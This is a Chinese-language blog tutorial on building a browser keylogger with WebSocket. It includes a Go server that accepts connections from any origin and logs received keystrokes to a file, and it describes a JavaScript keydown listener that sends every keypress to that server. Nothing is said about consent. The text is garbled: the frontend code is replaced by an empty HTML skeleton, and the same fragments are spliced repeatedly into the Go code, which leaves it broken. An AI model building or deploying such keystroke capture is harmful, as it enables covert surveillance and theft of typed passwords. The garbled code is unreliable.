websocket实现go+js的键盘记录器

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WebSocket 特性详解

优点


  • 实时性强:在传统的 HTTP 通信中,客户端和服务器之间的通信是半双工的,即客户端发送哀求,服务器响应哀求。这种方式在处理实时数据时存在一定的延迟,由于必要等待客户端发送哀求才能获取新的数据。而 WebSocket 则不同,它允许服务器和客户端之间进行实时的双向通信。当用户按下键盘上的某个按键时,按键变乱会立即通过 WebSocket 连接传输到服务器,无需等待批量发送。这种实时性使得 WebSocket 非常得当必要即时反馈的应用场景,如在线游戏、实时监控等。
  • 低延迟:由于 WebSocket 接纳了长连接的方式,制止了每次通信都必要建立新连接的开销,因此具有较低的延迟。在高频数据传输的场景下,如键盘记录器,低延迟可以确保按键变乱能够实时准确地传输到服务器,不会出现显着的延迟或丢包现象。这对于必要准确记录用户操作的应用来说非常重要。
  • 全双工通信:全双工通信意味着服务器和客户端可以同时进行数据传输,而互不干扰。在键盘记录器的应用中,服务器不仅可以实时接收客户端发送的按键数据,还可以主动向客户端推送其他指令,如暂停记录、恢复记录等。这种双向通信的能力为应用的开辟提供了更多的灵活性和可能性。
缺点


  • 必要维护长连接,服务端资源消耗较高:由于 WebSocket 接纳了长连接的方式,服务器必要为每个连接的客户端维护一个持续的连接。这意味着服务器必要消耗更多的系统资源,如内存、CPU 等,来处理这些连接。特别是在高并发的情况下,服务器的资源消耗会显著增加。因此,在使用 WebSocket 时,必要对服务器的性能进行合理的评估和优化。
  • 需手动处理 JSON 序列化 / 反序列化:在 WebSocket 通信中,数据通常以 JSON 格式进行传输。因此,在客户端和服务器之间进行数据交换时,必要手动处理 JSON 数据的序列化和反序列化。序列化是将对象转换为 JSON 字符串的过程,反序列化则是将 JSON 字符串转换为对象的过程。虽然大多数编程语言都提供了相关的库来处理 JSON 数据,但手动处理这些过程仍然会增加开辟的复杂度和工作量。
实现步调

HTML + JS 代码实现前端

前端代码的主要功能是监听用户的键盘变乱,并将按键数据通过 WebSocket 连接发送到服务器。以下是详细的实现代码:
  1. <!DOCTYPE html>  
  2. <html>  
  3. <body>  
  4.   
  5. </body>  
  6. </html>
复制代码
代码解释:

  • const ws = new WebSocket('ws://localhost:8080/ws');:创建一个 WebSocket 连接,连接到本地服务器的 ws://localhost:8080/ws 地址。
  • document.addEventListener('keydown', (e) => { ... });:监听页面的键盘按下变乱,当用户按下键盘上的某个按键时,触发回调函数。
  • ws.send(JSON.stringify({ ... }));:将按键数据(包罗按键名称、按键代码和时间戳)转换为 JSON 字符串,并通过 WebSocket 连接发送到服务器。
  • ws.onerror = (err) => { ... };:处理 WebSocket 连接错误,当连接出现错误时,将错误信息打印到控制台。
Go + WebSocket 库实现后端接收服务器

后端代码的主要功能是接收客户端发送的按键数据,并将其打印到控制台和记录到日志文件中。以下是详细的实现代码:
  1. package main    import (      "encoding/json"      "log"    "net/http"    "os"    "time"      "github.com/gorilla/websocket")    var upgrader = websocket.Upgrader{      CheckOrigin: func(r *http.Request) bool { return true }, // 允许跨域  }    type KeyLog struct {      Key       string `json:"key"`      Code      string `json:"code"`      Timestamp int64  `json:"timestamp"`  }    func main() {      http.HandleFunc("/ws", handleWebSocket)      log.Fatal(http.ListenAndServe(":8080", nil))  }    func handleWebSocket(w http.ResponseWriter, r *http.Request) {      conn, err := upgrader.Upgrade(w, r, nil)      if err != nil {         log.Println("升级到 WebSocket 失败:", err)         return      }      defer conn.Close()        // 实时接收消息      for {         _, msg, err := conn.ReadMessage()         if err != nil {<!DOCTYPE html>  
  2. <html>  
  3. <body>  
  4.   
  5. </body>  
  6. </html>  log.Println("读取消息失败:", err)<!DOCTYPE html>  
  7. <html>  
  8. <body>  
  9.   
  10. </body>  
  11. </html>  break         }<!DOCTYPE html>  
  12. <html>  
  13. <body>  
  14.   
  15. </body>  
  16. </html> var logData KeyLog         if err := json.Unmarshal(msg, &logData); err != nil {<!DOCTYPE html>  
  17. <html>  
  18. <body>  
  19.   
  20. </body>  
  21. </html>  log.Println("解析 JSON 失败:", err)<!DOCTYPE html>  
  22. <html>  
  23. <body>  
  24.   
  25. </body>  
  26. </html>  continue         }<!DOCTYPE html>  
  27. <html>  
  28. <body>  
  29.   
  30. </body>  
  31. </html> // 实时打印         log.Printf("[+]Key: %s, Code: %s, Timestamp: %d\n", logData.Key, logData.Code, logData.Timestamp)         // 写入日志文件         saveToFile(logData)      }  }    func saveToFile(logData KeyLog) {      logLine := time.Unix(0, logData.Timestamp*int64(time.Millisecond)).Format("2006-01-02 15:04:05") +         " Key: " + logData.Key + " Code: " + logData.Code + "\n"        // 以追加模式打开文件      file, err := os.OpenFile("keystrokes.log", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)      if err != nil {         log.Printf("打开文件失败: %v", err)         return      }      defer file.Close()        if _, err := file.WriteString(logLine); err != nil {         log.Printf("写入文件失败: %v", err)      }  }
复制代码
代码解释:

  • var upgrader = websocket.Upgrader{ ... };:创建一个 WebSocket 升级器,用于将 HTTP 连接升级为 WebSocket 连接。
  • type KeyLog struct { ... };:界说一个结构体 KeyLog,用于存储按键数据。
  • http.HandleFunc("/ws", handleWebSocket);:注册一个 HTTP 处理函数,当客户端访问 /ws 路径时,调用 handleWebSocket 函数。
  • conn, err := upgrader.Upgrade(w, r, nil);:将 HTTP 连接升级为 WebSocket 连接。
  • for { ... }:进入一个无限循环,实时接收客户端发送的消息。
  • _, msg, err := conn.ReadMessage();:读取客户端发送的消息。
  • if err := json.Unmarshal(msg, &logData); err != nil { ... }:将接收到的 JSON 数据反序列化为 KeyLog 结构体。
  • log.Printf("[+]Key: %s, Code: %s, Timestamp: %d\n", logData.Key, logData.Code, logData.Timestamp);:将按键数据打印到控制台。
  • saveToFile(logData);:将按键数据写入日志文件。
运行效果

页面中所有的键盘操作都将被实时打印并记录在文件中。运行上述代码后,打开 HTML 文件,在页面中按下键盘上的任意按键,你将在服务器的控制台看到相应的按键信息,同时这些信息也会被记录到 keystrokes.log 文件中。以下是运行效果的截图:

当前html页面没有添加任何界面效果,后续可以用于自行开辟
除了 WebSocket 技术,我们还可以使用 gRPC-Web 技术来实现同样功能的键盘记录器。gRPC-Web 联合了 gRPC 的高性能和 Web 技术的灵活性,能够提供更强大的远程过程调用能力。不外,由于 gRPC-Web 必要使用 Protocol Buffers(Protobuf)技术进行数据序列化和反序列化,实现过程相对复杂,涉及到 Protobuf 消息界说、服务接口界说、代码天生等多个步调。我们会在后续的文章中详细介绍怎样使用 gRPC-Web 技术来实现键盘记录器,敬请等待。
总结

通过本文的介绍,我们相识了 WebSocket 技术的特性和优缺点,并使用 Go 和 JavaScript 实现了一个简单的键盘记录器。WebSocket 技术为实时数据交互提供了一种高效、可靠的解决方案,非常得当必要实时响应的应用场景。。

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